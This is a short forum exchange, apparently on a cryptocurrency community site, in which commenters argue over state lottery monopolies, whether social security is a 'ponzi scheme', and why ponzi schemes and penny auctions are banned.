Given a liberal definition of "pretty much all of Europe". Both France and Germany have state monopolies on lotteries (although Germany might move from that), and those are significant countries on the scale.
Social security is a mandatory ponzi scheme with disastrous consequences far beyond what any private company could do. You want to talk about illusions, let's address the idea there will be state pensions 40 years down the line for people currently entering the workforce. The numbers do not support that possibility, and increasingly childless politicians kick down the ball knowing it'll be someone else's problem.
Hoping for a technological paradigm shift bailing us out is the exact mindset Charles Ponzi had: he was convinced if only he could invest enough money in whatever venture, he could pay back his investors. Wishful thinking from one man can be delusion. That same thinking from thousands of men, educated men, men supposedly working for the public, who know they won't suffer the after effects, that's collusion. Governments are NOT looking out for your best interest.
So penny auctions and ponzi schemes are great because fucks governments? Right on...
The points being made on both sides of the fence were explicit: you're arguing these schemes are banned because they're exploitative. I'm arguing their exploitative nature is not the primary reason behind said bans. But by all means, strawman away.
423k
Buidlers
2.3k
Buidling
Next-generation platform for decentralised applications.